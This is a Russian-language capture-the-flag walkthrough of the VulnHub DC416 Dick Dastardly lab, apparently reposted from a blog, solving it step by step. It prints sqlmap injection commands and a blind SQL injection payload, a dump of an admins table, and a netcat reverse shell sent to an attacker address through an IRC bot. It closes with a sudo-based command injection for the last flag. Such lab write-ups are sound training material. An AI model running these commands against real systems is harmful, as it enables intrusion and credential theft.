VulnHub: Разбор DC416 Dick Dastardly

в 16:23, , рубрики: ctf, defcon, information security, vulnerability, информационная безопасность

VulnHub: Разбор DC416 Dick Dastardly - 1
Команда VulnHub подготовила целую серию квестов, с конференции DefCon Toronto's, скачать и опробовать которые вы можете по ссылке.
А в этой статье будет разбор DC416 Dick Dastardly

Начнём

Nmap, кроме портов 22 и 80 больше ничего не выдал, поэтому переходим к поиску скрытых директорий:

$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt  -x 403

VulnHub: Разбор DC416 Dick Dastardly - 2

Видим тут интересный редирект на index.php. Посмотрим что там:
VulnHub: Разбор DC416 Dick Dastardly - 3

Запускаем sqlmap:

$ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch

POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 6638 HTTP(s) requests:
— Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=asd'||(SELECT 'Uknw' FROM DUAL WHERE 1538=1538 AND SLEEP(5))||'&msg=asd
— [00:52:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12

Инъекция есть, но раскрутить sqlmap её не смог. Переходим ко второй форме:

$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables

Видим сообщение, и корректируем параметры sqlmap'а:

[13:17:56] [INFO] POST parameter 'issue' appears to be 'MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string=«an»)

После повторного запуска, sqlmap раскрутил инъекцию. И отобразил список таблиц.
Дампим таблицу admins

$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump

VulnHub: Разбор DC416 Dick Dastardly - 4

Нашли пароль в открытом виде и логин. Авторизуемся:
VulnHub: Разбор DC416 Dick Dastardly - 5

Попадаем в web админку IRC бота. Тут можно изменить владельца бота. Впишу туда логин и пароль, которые удалось вытянуть из БД.
Далее естественно нажимаем добавить свой IP в белый лист, и активировать бота.
Повторно запустим nmap:
VulnHub: Разбор DC416 Dick Dastardly - 6

Коннектимся на запущенный IRC сервер, видим приветствие:
VulnHub: Разбор DC416 Dick Dastardly - 7

Посмотрим список каналов:
/list
Нахоим там канал #vulnhub и подключаемся к нему:
/join #vulnhub
Я использовал XChat, справа в списке пользователей на канале, можно увидеть бота, которого мы запустили: vulnhub-bot. Начнём с ним диалог:
VulnHub: Разбор DC416 Dick Dastardly - 8

Флаг найден, но это второй флаг… Где-то пропустили первый. Запускаем nikto и находим первый флаг:

$ sudo nikto -host http://192.168.1.68 -C all
+ Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}

Имея шелл через IRC открываем себе полноценную консоль:

$ netcat -lvp 9999

Боту отправляем команду:
Unix shell netcat -e /bin/sh 192.168.1.124 9999
Посмотрев список процессов, я нашёл один из них, запущенный от root, крайне необычным:

ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2

Хм это интересно, запустив WireShark в ICMP пакетах находим flag0:
flag0{the_quieter_you_become_the_more_you_are_able_to_hear}

Остался последний. Посмотрим какие привилегии доступны текущему пользователю:

sudo -l

Matching Defaults entries for rasta on DickDastardly:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User rasta may run the following commands on DickDastardly:
(vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py

Видимо, это не просто так:

sudo -u vulnhub python /usr/local/sbin/util.py

После запуска получаем такой интерактивный вывод:
VulnHub: Разбор DC416 Dick Dastardly - 9

Не так много функций доступно, осмотревшись, я нашёл последний флаг:
VulnHub: Разбор DC416 Dick Dastardly - 10

Точнее место где он лежит. Я попробовал вставить свою команду, и при выборе листинга директорий, это получилось:
VulnHub: Разбор DC416 Dick Dastardly - 11

Отлично, все флаги собраны, пусть и не в правильном порядке!

Автор: GH0st3rs

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js